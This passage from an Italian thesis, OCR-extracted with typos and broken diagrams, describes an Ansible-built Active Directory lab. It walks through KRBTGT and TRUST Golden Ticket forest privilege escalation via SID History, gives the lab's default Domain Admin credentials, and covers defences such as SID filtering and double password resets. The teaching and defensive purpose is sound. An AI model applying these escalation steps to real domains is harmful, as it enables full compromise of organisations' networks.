sta non andra a creare un’infrastruttura |Active Directory| volutamente vulnerabile; verra invece

proposto un ambiente fedele a reali casi d’uso. Questo permette di dimostrare una gamma di
vulnerabilita che colpisce i sistemi di tutti 1 giorni, nel caso in cui non siano stati efficacemente
configurati o non siano state adottate policy diverse da quelle di default. Gli attacchi che vengo-
no proposti sono tra i pit comuni di questo tipo, ed ¢ percio di fondamentale importanza sapere

come possono essere eseguiti € come poterli evitare.

E’ inoltre necessario che il laboratorio sia snello, performante e di facile installazione. La
scelta della struttura e del software utilizzato per la sua costruzione sono cruciali al fine di
ottenere queste caratteristiche. Il focus principale per la realizzazione pratica del laboratorio ¢
quello di adottare soluzioni semplici ma efficaci, mantenendo minimo il dispendio in termini di

tempo, risorse e costi.

In questo capitolo sono discussi lo scenario generato nel Vulnerability Lab e la tecnologia
utilizzata per la sua installazione e configurazione. Nella prima parte viene introdotto il software
Ansible, che verra utilizzato per la creazione del laboratorio, e ne vengono spiegate le poten-
zialita. In seguito sono analizzati nel dettaglio lo scenario realizzato, gli attacchi proposti e i
meccanismi di difesa per prevenirli. I temi sopracitati verranno trattati con carattere puramente
teorico in questo capitolo; nei prossimi, invece, verranno forniti tutti i dettagli e le informazio-
ni che definiscono la parte piu pratica del progetto, come il codice sorgente e la sequenza di
operazioni che possono essere usate passo passo per compromettere e/o proteggere 1’ambiente

realizzato.
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3.1 Introduzione ad Ansible

Ansible & un software open-source scritto in Python che consente di automatizzare le pro-
cedure di configurazione e gestione sui sistemi unix-like e Windows. E’ capace di configurare
sistemi, distribuire software e orchestrare workflows avanzati per supportare la distribuzione di
applicazioni, aggiornamenti di sistema e altro ancora[28]].

L’ obiettivo che Ansible si pone ¢ quello di fornire un modo per automatizzare i vari task
che compongono la creazione, la manutenzione e 1’aggiornamento di infrastrutture costruite su
larga scala. Esistono varie soluzioni gia presenti sul mercato che si occupano di questo tipo di
operazioni, come Chef, CFEngine e Puppet, ma la peculiarita di Ansible ¢ quella di utilizzare

un’architettura agentless, cio¢ senza agenti installati sui nodi target[28]].

Per rendere piu chiara I’introduzione appena presentata si pu0 pensare a un esempio in
cui si ha una rete contenente al suo interno due macchine, chiamate A e B. Nella macchina
A, di proprieta dell’amministratore di rete, ¢ installato Ansible, la macchina B invece contiene
del software che deve essere aggiornato. L’amministratore di rete puo decidere di collegarsi
alla macchina B ed effettuare 1’aggiornamento manualmente, oppure puo usare Ansible: gli
basta scrivere una ricetta, chiamata playbook, con I’elenco delle operazioni da eseguire per
I’aggiornamento di B e Ansible svolgera il compito al suo posto, da remoto. Le operazioni
possono anche essere rese molto complesse scrivendo playbook con decine di istruzioni che
Ansible provvedera a eseguire nell’ordine previsto. Infine ¢ possibile scalare le operazioni e
chiedere al software di eseguire tutto il playbook su un centinaio di macchine, configurandole
tutte allo stesso modo, oppure specificare le operazioni che devono essere eseguite in quali

macchine e in quali no[29]].

Come gia accennato, Ansible utilizza un’architettura agentless: vengono utilizzati protocolli
nativi delle macchine rarget, senza che vi sia necessita di installare alcun software per il colle-
gamento da remoto. Devono essere specificate le credenziali per tale connessione, appartenenti
ad un utente che rispecchi i privilegi necessari all’esecuzione delle operazioni previste. I princi-

pali protocolli utilizzati per eseguire le operazioni da remoto sono per Linux e
IRemoting Protocol| per macchine Windows[30].

Altri punti di forza di questo software open-source sono 1’utilizzo di moduli e file di con-
figurazione. 1 moduli contengono le varie operazioni che Ansible ¢ in grado di eseguire; una
ricetta, o playbook, contiene una lista di moduli che devono essere caricati e utilizzati, speci-
ficandone ’ordine e le macchine target. Sono presenti moduli che permettono di eseguire le
operazioni piu elementari, come il riavvio di una macchina, e altri molto piu complessi, capaci
di gestire autonomamente 1’installazione e la configurazione di servizi web e database. Molto
vantaggioso ¢ il feedback che ogni modulo puo restituire: viene sempre specificato nell’ output
se ¢ stato eseguito correttamente, se ha generato degli errori o se non ¢ stato possibile portare a

termine la sua esecuzione.
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Combinando questi feedback con la possibilita di inserire nel playbook istruzioni condi-
zionali, ¢ possibile ottenere procedure automatizzate che si adattano a ogni tipo di situazione.
Ansible sara in grado autonomamente di eseguire 1’istruzione corretta sulla base dell’ output
ottenuto dall’operazione precedente. Oltre ai moduli che sono forniti col software ufficiale,
Ansible pud anche utilizzare quelli creati, mantenuti e gestiti dalla sua ampia community: il
progetto open-source € python come linguaggio di programmazione hanno permesso un rapido
ampliamento delle risorse supportate, per opera di sviluppatori che hanno messo a disposizione

1 progetti realizzati[29].

I file di configurazione, invece, permettono di specificare le variabili che devono essere
utilizzate dai moduli; contengono i dettagli che differenziano le stesse operazioni che verranno
pero eseguite su macchine diverse, a cui Ansible si colleghera. Come esempio, si pensi a un file
particolare che deve essere caricato su due macchine target, ma che debba essere salvato in due
path diversi. Potra essere utilizzato lo stesso modulo per la copia di file, in cui verra specificato
il path di destinazione con una variabile. Bastera poi definire questa variabile con valori diversi,
per ogni macchina, nel file di configurazione. Ansible procedera quindi a eseguire le operazioni

tenendo conto di questa differenza nel valore delle variabili[31].

Considerando le caratteristiche appena presentate, e il fatto che sia open-source e gratuito,
¢ stato scelto Ansible come software per la creazione e installazione del Vulnerability Lab. I1
progetto risultante sara un playbook realizzato ad hoc che permette di riprodurre facilmente lo
scenario ipotizzato. L’utente che vorra usufruire del laboratorio dovra solo installare Ansible,
scegliere le macchine da rendere vulnerabili, scaricare la ricetta ed eventualmente modificare il
file di configurazione: Ansible si occupera di realizzare autonomamente 1’ambiente vulnerabile

VEro € proprio.

3.2 Scenario

Lo scenario proposto deve poter essere realizzabile sotto forma di playbook per il software
Ansible. Ogni elemento presente nello scenario viene presentato e descritto nel dettaglio di

seguito.

Come prima considerazione, lo scenario che viene proposto deve essere tale da permette-

re una Forest Privilege Escalation e quindi contenere una foresta gestita da |Active Directoryl

Come spiegato nell’Introduzione all’Active Directory, una foresta, per esistere, deve essere
composta da almeno due domini, uno padre e uno figlio. Il dominio padre e root della foresta
verra nominato, per semplicita, hacklab.local. 11 dominio figlio avra come subdominio corp
per cui il suo nome nella foresta sara corp.hacklab.local. Questi due domini, hacklab.local e

corp.hacklab.local, dovranno necessariamente mantenere un legame di fiducia padre-figlio.
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Ciascun dominio, per essere definito tale, deve essere composto da almeno un server che

operi da|Domain Controller; tutti gli eventuali altri server, workstation e dispositivi che vanno

a comporre un dominio non sono strettamente necessari o indispensabili durante la sua creazio-
ne. Essi vengono normalmente aggiunti e registrati successivamente nella rete; in questo caso,
invece, la loro presenza non sara utile o rilevante per I’ambiente vulnerabile che verra creato

per cui, per risparmiare risorse in termini di memoria e tempi di installazione, ognuno dei due

domini sara composto esclusivamente dal proprio [Domain Controllerl 1l laboratorio sara quin-

di costituito da due macchine, che facciano da [D(jai due domini della foresta. Questi server

verranno denominati DCO1 e DCO02, e comporranno rispettivamente 1 domini padre e figlio.

Come spiegato nel capitolo precedente, per poter eseguire una Forest Privilege Escalation,
I’attaccante che ha il controllo di un dominio non radice deve riuscire a compromettere quello
root della foresta. Nell’ambiente proposto, quindi, ¢ necessario che 1’attaccante abbia gia i
privilegi massimi nel dominio figlio. 1l laboratorio dovra quindi simulare un security breach
con una conseguente Domain Privilege Escalation gia avvenuta. Da questo punto di partenza

I’attaccante dovra scalare 1 privilegi a livello di foresta.

Per rendere tutto cid possibile, all’utente che usufruisce del laboratorio saranno fornite le
credenziali per un account appartenente al gruppo Domain Admins nel dominio figlio, che ga-
rantisce 1 privilegi massimi a livello di dominio. 1l target per I’ attaccante, invece, saranno i
privilegi massimi nella foresta, garantiti dal gruppo Enterprise Admins che si trova solamente

nel dominio root.

Di seguito uno schema che riassume I’ambiente del laboratorio proposto.

[ )
A

Enterprise Admins

DCO01 \

Address: \ e
/ dc01.hacklab.local \ Ttrusy

hacklab.local

4 DCo2
/ \
Address: \\

N\

dc02.corp.hacklab.local \
corp.hacklab.local\devis.cook:cokezero \

domain admin corp.hacklab.local

Figura 16: Schema dello scenario proposto.
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Come si puo vedere sono rappresentati i due domini, hacklab.local e corp.hacklab.local, con

la notazione a forma triangolare. All’interno di ciascuno di essi ¢ presente un server che opera

da|Domain Controlleri Gli indirizzi di questi server sono, rispettivamente, dc0O1.hacklab.local

per il padre e dc02.corp.hacklab.local per il figlio. Le frecce tratteggiate in rosso indica-
no invece 1 privilegi importanti considerati: Enterprise Admins nel dominio da compromet-
tere, Domain Admins nel dominio gia compromesso. Vengono infine indicate le credenzia-
li dell’account di partenza che mantiene questi ultimi privilegi, con la notazione dominio-di-
appartenenza/username:password; come identita fittizia di default viene indicata la seguente:

corp.hacklab.local/devis.cook:cokezerol.

Definito lo scenario che verra creato, vengono chiarite anche le precondizioni necessarie da
soddisfare per la realizzazione e la fruizione del laboratorio: il playbook Ansible sara utile in
quanto automatizzera I’installazione e la configurazione della rete, che dovra essere predisposta
in anticipo.

Di seguito le caratteristiche infrastrutturali che dovranno essere rispettate prima di poter utiliz-

zare Ansible:

1. E’ necessario avere due macchine, virtuali o non, che possano essere usate come
del laboratorio. Una terza macchina, non facente parte del laboratorio vero e
proprio, servira per la configurazione tramite Ansible delle altre due.

2. Nelle due macchine che fungeranno da[D(]deve essere installato preventivamente come

sistema operativo una versione di Windows Server.

3. Le tre macchine dovranno poter comunicare tra di loro. Potranno utilizzare la stessa rete

locale oppure la classica rete internet.

4. Nelle macchine adibite a[DCJdovranno essere disponibili account di amministrazione che

permettano la connessione da remoto, fondamentale per la loro configurazione.

Lo scenario cosi ideato potra essere utilizzato per apprendere e testare due tipologie di
attacchi, KRBTGT Golden Ticket e TRUST Golden Ticket, che sfruttano il SID History come
mezzo di elevazione di privilegi. Le configurazioni usate nei [D(| saranno quelle di default e il
laboratorio non sara reso vulnerabile di proposito; si sottolinea quindi la pericolosita di questi
attacchi e 1’alta probabilita che possano essere portati a termine in tutti quei sistemi che sono
stati configurati sommariamente e velocemente, senza un’attenta analisi e adeguate policy per

quanto concerne la loro sicurezza.
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3.2.1 SID History

Prima di fornire i dettagli sulle caratteristiche degli attacchi considerati, ¢ necessario intro-
durre il meccanismo SID History, le sue caratteristiche e le sue modalita d’uso.

Molto spesso le infrastrutture che utilizzano il servizio [Active Directory|inizialmente sono

formate da un singolo dominio. Successivamente vengono eventualmente allargate con ulteriori
domini legati tra di loro da relazioni di fiducia dominio-dominio oppure padre-figlio, delineando
in quest’ultimo caso la struttura foresta.

In un contesto aziendale questo avviene quando sono necessari ampliamenti che compren-

dono ulteriori divisioni o dipartimenti. L’infrastruttura gestita da|Active Directory permette di

agire in questo modo molto facilmente, senza dover riconfigurare 1’intera rete.
Come anticipato, tra le caratteristiche peculiari di questo sistema di amministrazione abbia-
mo che ogni utente puod far parte di un unico dominio ma, con i relativi legami di fiducia tra

domini, puo usufruire dei servizi offerti all’interno della foresta.

Puo capitare che, quando vengono aggiunti domini oppure ricreata la struttura del sistema,
si causino delle criticita che prima non erano presenti. Ad esempio si pensi a una risorsa Y che
puo essere utilizzata dagli utenti che appartengono al gruppo Z. L'utente X, che appartiene al
gruppo Z, e la risorsa Y che ha sempre utilizzato, potrebbero essere spostati in domini diversi,
ad esempio rispettivamente New e Old, per motivi logistici. Si consideri come OId il dominio
iniziale a cui la risorsa e 1’utente appartenevano e New il nuovo dominio in quest’ultimo ¢ stato

migrato.

Se I'utente X, che fa parte del nuovo dominio New, vorra continuare a utilizzare la risorsa
Y, dovra autenticarsi con I’inter-realm presso il dominio Old, come gia spiegato nell’In-
troduzione all’ Active Directory, in quanto non fa piu parte di quel dominio. Se quindi 1’autenti-
cazione presso il vecchio dominio ¢ possibile, I’autorizzazione invece viene a mancare. Questo
perché per I’utilizzo di Y ¢ necessaria 1’appartenenza al gruppo Z, definito nel dominio Old, ma
essendo 'utente X parte del nuovo dominio New questo non puo avvenire. Si ricorda che ogni
utente puo appartenere a un solo dominio, dove sono normalmente definiti tutti i suoi privilegi.
Se 'utente X appartenesse a un gruppo omonimo nel dominio New non si otterrebbe alcuna
differenza, in quanto i gruppi con lo stesso nome Z sono di fatto entita diverse all’interno della

foresta.

Anche in questo caso [Active Directory| supera il problema nella logica del servizio intro-

ducendo un nuovo elemento: il SID History[32]. Questo meccanismo permette di inserire

all’interno dei Ticket informazioni che riguardano 1’appartenenza a gruppi in altri domini.
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Sostanzialmente, in riferimento all’esempio appena proposto, grazie al SID History 1’utente
X, che si ¢ autenticato presso il dominio Old usando I'inter-realm potra far parte virtual-
mente del gruppo Z e quindi utilizzare la risorsa Y. Questo avviene perché il [D(] del dominio
New procede a inserire all’interno dell’inter-realm un extra-sid, un’indicazione per il [DC|
del dominio Old di considerare X, utente di New, come parte del gruppo Z, di Old.

Il SID History ¢ molto vantaggioso in quanto permette di evitare configurazioni complesse
del sistema ma ¢ prono, in determinate circostanze, a essere usato per un’elevazione incontrol-
lata di privilegi[33]. Per questo motivo ¢ disabilitato tra domini di foreste diverse, ma di default
abilitato tra domini della stessa foresta. Questo determina le criticita che verranno presentate di

seguito.
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3.2.2 KRBTGT Golden Ticket

Il KRBTGT Golden Ticket ¢ gia stato trattato nell’Introduzione all’ Active Directory con il
semplice nome di Golden Ticket. In questo paragrafo e nel resto dell’elaborato verra sempre
utilizzata la notazione col prefisso KRBTGT in modo da differenziarlo dall’altra tipologia di

Golden Ticket che verra trattato successivamente, con prefisso TRUST.

Come anticipato, il viene rilasciato dal [D(] all’utente come prova di una corretta au-
tenticazione; tale utente lo alleghera poi in tutte le richieste di successive.
Contiene al suo interno informazioni che saranno successivamente utili al DC e sono critto-
grafate con 1’hash della password dell’account KRBTGT$. Se un attore attaccante entra in
possesso di tale hash allora potra forgiare 1 KRBTGT Golden Ticket modificando a piacimento

le informazioni al loro intero.

Vengono di seguito presentate alcune delle informazioni fondamentali che devono essere
presenti all’interno del ticket:
* servizio richiesto : in questo caso autenticazione tramite KRBTGT, nel dominio di appar-

tenenza.

* dominio : deve essere specificato il nome del dominio in cui il ticket viene generato,

quindi quello di appartenenza.

. del dominio : ¢ il Security ID del dominio in cui il ticket viene generato, utilizzato

per una identificazione univoca.

* utente : colui che usufruira del ticket, ne deve essere specificato 1’'username e lo user id,

un identificatore di sicurezza per I’utente all’interno del dominio.
* orario di creazione: utile al [DC] per determinare la scadenza del ticket.

* durata : utile al[DC| per determinare la scadenza del ticket.

Oltre a queste informazioni fondamentali, il [D(Jinserisce all’interno del ticket anche quelle
opzionali tra cui, se necessario, 1’extra-sid. L’ extra-sid ¢ I’'informazione che viene specificata
all’interno del Ticket per poter utilizzare il SID History. Questo significa che I’attaccante che ¢
in grado di forgiare 1 KRBTGT Golden Ticket potra inserire al loro interno un extra-sid, che gli

consentira di godere dell’appartenenza a determinati gruppi nei domini specificati.
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3.2.3 TRUST Golden Ticket

Se il KRBTGT Golden Ticket & la versione malevola del il TRUST Golden Ticket &
invece la controparte dell’inter-realm

Come gia discusso, 1’inter-realm ¢ rilasciato dal @ all’utente che richiede di auten-
ticarsi presso un altro dominio. Questo ¢ possibile solo se il dominio di appartenenza e quello
per cui si fa la richiesta mantengono un legame di fiducia. Il motivo ¢ che entrambi i domini
possiedono, ovviamente, un account KRBTGT$ per I’autenticazione; questi perd mantengono
password sempre diverse tra loro: per motivi di sicurezza KRBTGT$ & un account isolato, a cui
pud accedere solo il proprio[DC Di conseguenza, un eventuale inter-realm emesso da un
[DQ e crittografato col suo account KRBTGT$ non sarebbe utilizzabile dal [Domain Controller]

di un altro dominio, perché non potrebbe decrittografarlo.

In questa circostanza ¢ di aiuto il fatto che quando due domini stringono un rapporto di
fiducia, ognuno crea uno speciale service account che lo lega all’altro. Come anticipato nel-
I’Introduzione all’ Active Directory, le password per questi due account sono le stesse, per cui
possono essere utilizzate durante la negoziazione dell’inter-realm[TGT} ognuno dei due domini
puo crittografare e decrittografare correttamente un Ticket se entrambi usano lo stesso hash.
Ovviamente, come per il KRBTGT Golden Ticket, un attore attaccante che entra in possesso
di questo hash condiviso potra forgiare i TRUST Golden Ticket, modificando a piacimento le
informazioni al loro intero.

Vengono di seguito presentate alcune delle informazioni fondamentali che devono essere
presenti nei ticket di questo tipo, simile a quello riportato nel paragrafo precedente:

* servizio richiesto : in questo caso autenticazione tramite KRBTGT, ma nel dominio target.

* dominio : deve essere specificato il nome del dominio in cui il ticket viene generato,

quindi quello di appartenenza.

del dominio : ¢ il Security ID del dominio in cui il ticket viene generato, utilizzato

per una identificazione univoca.

e utente : colui che usufruira del ticket, ne deve essere specificato I’'username e lo user id,

un identificatore di sicurezza per I’utente all’interno del dominio.
* orario di creazione: utile al [DC| per determinare la scadenza del ticket.
* durata : utile al[DC| per determinare la scadenza del ticket.

Anche in questo caso, 1’utente attaccante che forgia il Ticket puo inserire tra i parametri
opzionali I’ extra-sid, che gli permette di sfruttare il SID History per ottenere privilegi supple-

mentari nei domini specificati.
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3.3 Obiettivi attacco

In questo paragrafo viene spiegato a livello teorico come i Golden Ticket presentati prece-
dentemente possano essere utilizzati per compromettere lo scenario proposto per il laboratorio.
Verranno presentati step-by-step tutti i punti da seguire per poter performare correttamente cia-
scuno dei due attacchi. Successivamente verra presentata una tabella comparativa finale che

mette in luce i prerequisiti che permettono la costruzione di entrambi i Ticket.

Per poter descrivere in modo accurato e comprensibile le varie operazioni che permettono la
compromissione del sistema presentato ¢ necessario stabilire una notazione chiara e semplice.
Viene riproposta quella utilizzata nella descrizione dello scenario, con le modifiche e aggiunte
opportune:

* i due domini del laboratorio sono chiamati hacklab.local e corp.hacklab.local; il primo ¢

il dominio padre e target, il secondo ¢ il dominio figlio gia compromesso.

* ogni dominio & composto esclusivamente da un [Domain Controllerj, 1’indirizzo del [DC]
del padre & dcO1.hacklab.local, quello del[D( figlio & dc02.corp.hacklab.local.

* I’obiettivo dell’attacco ¢ I’acquisizione dei permessi sul file system di dcO1.hacklab.local,
garantiti dal gruppo Enterprise Admins. 1 permessi sul file-system nel dominio root coin-
cidono con la compromissione totale della foresta: ogni dato nel [D(] diventa leggibile e

sovrascrivibile.

* I'utente disponibile inizialmente nel dominio figlio € corp.hacklab.local/devis.cook con

password nota; questo utente ¢ Domain Admins nel dominio figlio.

Il primo attacco che viene preso in considerazione ¢ quello che sfrutta il KRBTGT Golden
Ticket[14][17]. Come si puo vedere nell’immagine seguente, coinvolge tutti gli stadi di ne-
goziazione presenti nell’autenticazione tra pitt domini, presentata nell’ Introduzione all’ Active

Directory.
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@ 1-TGT // \\
(+ extra-sid) / \
) \
2 - KRBTGT Golden Ticket / \\

(+ extra-sid) / \

/ 2 - Inter-realm TG/ // DCo1 \\
/ (+ extra-sid) // dc01 hacklab local \\

hacklab.local

T T———— 3 .Inter-reaim TGT _
(+ extra-sid) -____—‘—‘—->
O T o /\\
(+ extra-sid)\ / \
4- 58T
(+ extra-sid) // \\
4 - File-system acces\ / \
/ N
\ /
/

\
DCo2 \

dc02.corp.hacklab.local

corp.hacklab.local

Figura 17: Schema attacco con KRBTGT Golden Ticket.

1. La prima operazione di questa negoziazione sarebbe la richiesta tramite AS-REQ di un
legittimo presso dc02.corp.hacklab.local, effettuata con 1’utente devis.cook. Questa
operazione, seppur eseguibile con le credenziali note dell’utente, porterebbe all’otteni-
mento, tramite AS-REP, di un semplice Per questo motivo la prima operazione deve
essere sostituita con la forgiatura locale di un KRBTGT Golden Ticket, in cui deve essere
iniettato 1’extra-sid del dominio hacklab.local che punta al gruppo Enterprise Admins del
suddetto dominio. Questa operazione di creazione del Ticket va a sostituire I’AS-REQ e

I’AS-REP, che non vengono effettuate.

2. In seconda fase si procede a effettuare una negoziazione con dc02.corp.hacklab.local, le-
gittima, attraverso un 7GS-REQ che richiede I’inter-realm per autenticarsi presso
il dominio hacklab.local. Questa richiesta ¢ accompagnata dal KRBTGT Golden Tic-
ket forgiato in precedenza. I1[DC] dc02.corp.hacklab.local, procede con la convalida del
KRBTGT Golden Ticket e tra le varie informazioni che copia nell’inter-realm vie

I’ extra-sid. Questo nuovo ticket, legittimo, ¢ ottenuto dall’utente con la TGS-REP.

3. Successivamente si richiede tramite TGS-REQ un che permetta la
fruizione del servizio [Common Internet File System| (CIFS) a dcOI.hacklab.local. Que-

sto ¢ il servizio che permette 1’accesso al file-system di una macchina appartenente ad

[Active Directoryl La richiesta & accompagnata dall’inter-realm ottenuto con I’ope-

razione precedente, che viene validato dal[Domain Controllerdel dominio padre. Nel[ST]

rilasciato da dcO1.hacklab.local tramite TGS-REP, ¢ stato nuovamente copiato |’ extra-sid.

50



4. L’ultima operazione ¢ I'invio del [S7]| a dc0O1.hacklab.local: ’utente devis.cook ¢ quindi
autenticato, tramite il ticket, e autorizzato, tramite i1 permessi garantiti dall’extra-sid, ad

accedere al file-system di dcOl1.hacklab.local come Enterprise Admins.

Lattacco porta in questo modo alla compromissione del dominio root della foresta e quindi alla

compromissione totale della stessa.

Il secondo attacco che viene presentato viene performato usando il TRUST Golden Tic-
ket[[14]][17]. Coinvolge solo la seconda parte della negoziazione tra pitt domini. In particolare,
non verra effettuata alcuna richiesta al [DC del dominio figlio, dc02.corp.hacklab.local, come

puo essere notato nello schema di seguito.

A\
VAR
VAN
1 - inter-realm TGT / N
/ A

{+ extra-sid)

/ N\
/ \
S / \

/ DCo1 \
/ dc01.hackiab.local A

hacklab.local

___‘_‘_"'—-2-TRUST Golden Ticket .
(+ extra-sid) _— N\
\ VAR
2-8T / N\
{+ extra-sid) / \
3-8T /

(+ extra-sid) / \\
- File / \
3 - File-system acces\ / \
/ A
\

/ DCo2 \
/" dc02.corp.hacklab.local \

corp.hacklab.local

Figura 18: Schema attacco con TRUST Golden Ticket.

1. Se il processo di autenticazione presso il dominio figlio viene svolto con la modalita
predefinita si ottiene un inter-realm per 'utente devis.cook, che permette I’auten-
ticazione presso il dominio hacklab.local. Questo ticket normale, non contiene nessun
extra-sid. Si puo quindi, a differenza del primo attacco presentato, saltare le operazioni
che coinvolgono il dominio di partenza e forgiare localmente 11 TRUST Golden Ticket,
Iinter-realm che permette I’autenticazione presso hacklab.local e che contiene, al

suo interno, 1’extra-sid che punta al gruppo Enterprise Admins del medesimo dominio.

2. Come seconda operazione si richiede a dcO1.hacklab.local, tramite TGS-REQ, il @ che
permette I’ utilizzo del servizio CIFS. La richiesta viene accompagnata dal TRUST Golden

Ticket che viene validato dal [Domain Controllen, L’ extra-sid ¢ copiato nel che si
ottiene con il TGS-REP.
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3. L’ultima operazione, analoga a quella dell’attacco precedente, & I’invio del [S7]al[D(] del
dominio padre: 1'utente ¢ quindi autenticato, tramite il ticket, e autorizzato, tramite 1
permessi garantiti dall’extra-sid, ad accedere al file-system di dcOl.hacklab.local come

Enterprise Admins.
Anche in questo caso I’attacco porta alla compromissione del dominio padre e root. Chi lo
compromette controlla, di conseguenza, tutti gli altri domini della foresta.

Di seguito una tabella in cui vengono comparate le informazioni che € necessario conoscere

per la forgiatura locale di ciascuno dei due Golden Ticket presentati.

KRBTGT Golden Ticket | TRUST Golden Ticket
Servizio krbtgt/corp.hacklab.local krbtgt/hacklab.local
Dominio corp.hacklab.local corp.hacklab.local
SID Dominio SID corp.hacklab.local SID corp.hacklab.local
Hash KRBTGT$ HACKLABS$
Extra-sid SID hacklab.local SID hacklab.local
Utente username + ID Qualsiasi

Figura 19: Confronto tra le due tipologie di Golden Ticket.

La prima differenza da prendere in considerazione ¢ il servizio: entrambi i ticket sono usati
per ’autenticazione tramite KRBTGT, ma per i due diversi domini considerati. Il KRBTGT Gol-
den Ticket presso il dominio corp.hacklab.local in quanto sostituto del il TRUST Golden
Ticket invece presso hacklab.local in quanto sostituto dell’inter-realm

La seconda differenza, spiegata nei paragrafi precedenti, riguarda 1’hash usato per critto-
grafare il ticket. Per il KRBTGT Golden Ticket sara 1’hash del service account KRBTGTS$ di
corp.hacklab.local. Per il TRUST Golden Ticket sara I’hash dell’account che rappresenta la fi-
ducia tra i due domini, in questo caso HACKLABS$, anch’esso presente nel database del[Domain|

del dominio figlio.

La terza differenza invece, molto curiosamente, coinvolge 1’utente per cui si forgia il Ticket.

Nel caso di KRBTGT Golden Ticket 1’ utente deve esistere nel dominio, in questo caso devis.cook

esiste nel dominio corp.hacklab.local, perche possa essere validato dal suo|{Domain Controllen.

In realta, usando il TRUST Golden Ticket, non ¢ necessario che I'utente specificato esista vera-
mente. Infatti non vi sono successive interazioni col dominio di partenza, corp.hacklab.local,
dove il Ticket verrebbe invalidato se 1’utente non esistesse nel database del|[Domain Controllen
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Tutte le interazioni avvengono col [Domain Controllerl di hacklab.local che, ricevendo il finto
inter-realm [TGT|rappresentato dal TRUST Golden Ticket forgiato, si fida che I’utente esista nel

dominio a cui dovrebbe appartenere, cio¢ corp.hacklab.local. Questa fiducia deriva dall’effetti-

vo legame di fiducia stretto tra i due domini. Quindi puo essere specificato un qualsiasi utente,

anche non esistente all’interno della foresta, durante la creazione di questo Ticket.

Si notino gli elementi che si trovano all’interno delle caselle colorate: queste sono informa-
zioni attualmente sconosciute, ma che possono e devono essere ottenute utilizzando i permessi

massimi, Domain Admins, dell’utente noto devis.cook.

3.4 Obiettivi difesa

Una volta testati i due attacchi presentati, e ottenuti i privilegi massimi nella foresta, si

procede con la messa in sicurezza dell’infrastruttura proposta nello scenario.

Uno dei modi che viene consigliato per risolvere queste vulnerabilita € quello di riconfi-
gurare le policy del SID History tra domini. Senza la possibilita di sfruttare i SID History,
infatti, gli attacchi proposti diventano del tutto inefficaci al fine di ottenere una Forest Privilege
Escalation. La strategia piu efficace nel breve termine ¢ quella di riconfigurare adeguatamente
le policy che regolano la comunicazione tra domini e filtrare gli extra-sid che provengono da

corp.hacklab.local e che hanno come destinazione hacklab.local.

Queste policy devono essere attuate nel dominio root della foresta e per farlo sono necessari
privilegi di alto livello. Si ricorda pero che grazie agli attacchi precedenti, se svolti corretta-
mente, si ¢ ottenuta 1’appartenenza al gruppo Enterprise Admins, il piu importante della foresta,

per cui i privilegi richiesti sono gia soddisfatti.

Per poter eseguire le operazioni necessarie € mettere in sicurezza I’infrastruttura da questi
attacchi ¢ possibile utilizzare una serie di fool; quello che viene proposto in questo elaborato e
presentato nei risultati sperimentali ¢ il software Netdom([34]]. Se la foresta fosse composta da
una molteplicita di domini, le operazioni andrebbero ripetute per ciascuno di essi, in modo che

il SID History non sia piu un vettore di attacco utilizzabile all’interno della foresta.

Nel medio e lungo termine, se si ritiene di essere stati compromessi, ¢ consigliabile effettua-
re un cambio di password sia per gli account KRBTGTS sia per gli account TRUSTS. Perché i

cambi di password siano da ritenersi efficaci devono essere eseguiti 2 volte per ciascun account,

in modo che anche le informazioni mantenute nei backup all’interno dei |[Domain Controller]

vengano sostituite.
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Questo perché i|Domain Controller considerano come hash validi, per gli account di ser-

vizio, quello attuale e quello precedente. Se si effettua un solo cambio di password, 1’hash
attuale e compromesso diventa quello precedente, mentre quello appena generato diventa quel-
lo attuale. Chi ha compromesso i domini mantiene quindi i propri privilegi e ha la possibilita
di ottenere anche il nuovo hash attuale, continuando a persistere nel sistema. Effettuando due
cambi di password, invece, 1 due nuovi hash vanno a sovrascrivere quello compromesso, dalle

posizioni di attuale e precedente[35].

Una volta effettuati i cambi di policy per la messa in sicurezza, ¢ opportuno testare nuova-
mente gli attacchi proposti al fine di assicurarsi che il SID History sia effettivamente filtrato, e

che quindi essi non siano piu efficaci.
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4 Dettagli soluzione

In questo capitolo viene proposta nel dettaglio la struttura della soluzione realizzata. Tutte le
scelte effettuate durante la costruzione del progetto saranno presentate e discusse di seguito. Per
renderne piu semplice la comprensione, le operazioni eseguite dal playbook saranno descritte a
livello sia teorico che pratico, linearmente e per cronologia di esecuzione. Questo per facilitare
e rendere fruibile la spiegazione del modello presentato, senza che siano necessarie conoscenze

pregresse sul software Ansible.

In primis viene presentata la struttura, di file e directory, che compone il progetto.

inventory
main.yml
playbook

— ad-build.yml
— ad-setup.yml
— common-setup.yml
— roles
— common
L— tasks
L— main.yml
— domain_controller
L— tasks
L— main.yml
— domain_controller_child
tasks
L— main.yml
— domain_controller_parent
L— tasks
L— main.yml

— scripts

L— known-user.psl
— shutdown.yml

— user.yml

— vars

L— vars.yml

Figura 20: Struttura del progetto.

Il progetto ¢ composto nel livello piu esterno dai file inventory e main.yml e dalla directory
playbook. Inventory ¢ il principale file di configurazione che viene usato da Ansible, il suo uso
verra spiegato nel dettaglio nei paragrafi seguenti; il file main.yml ¢ invece il main che viene
utilizzato dal software per interpretare correttamente il playbook. Entrambi i file vengono dati

in input ad Ansible durante 1’esecuzione.

La cartella playbook, invece, contiene le vere e proprie istruzioni che devono essere eseguite.
La ricetta, che genera il laboratorio proposto, € composta da tutto cio che si trova all’interno di
questa directory.
All’interno di playbook sono presenti altri file e directory che possono essere divisi in 4
blocchi:
* all’interno della cartella roles sono presenti tutti i ruoli che verranno utilizzati per la
creazione del laboratorio; una spiegazione dettagliata verra data nel paragrafo che tratta i

moduli e il loro funzionamento|[36]].
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* all’interno della cartella scripts sono presenti gli script ausiliari che vengono utilizzati

durante determinate operazioni che non possono essere gestite direttamente da Ansible.

* la directory vars contiene un ulteriore file di configurazione strettamente legato al play-

book; maggiori dettagli saranno proposti nel paragrafo che tratta i file di configurazione[31].

e tutti gli altri file che hanno come estensione .ym/ contengono invece istruzioni per le

operazioni da eseguire.

Nei paragrafi seguenti verranno esposti, in ordine e nel dettaglio, i file di configurazione, tutti
1 moduli utilizzati e come effettivamente avviare la costruzione automatizzata del laboratorio
tramite Ansible. Tutti i file con estensione .yml sono scritti in YAML e devono essere identati

correttamente per essere validi[37].

4.1 File di configurazione

In questo paragrafo vengono presentati i file di configurazione presenti nel progetto Ansi-
ble; ne verranno spiegate le tipologie, i parametri utilizzati € come possono essere apportate

modifiche per ottenere risultati diversi.

Il primo file di configurazione che viene preso in considerazione ¢ inventory. Questo file,
di fondamentale importanza, contiene i parametri che Ansible usa per i collegamenti da remo-
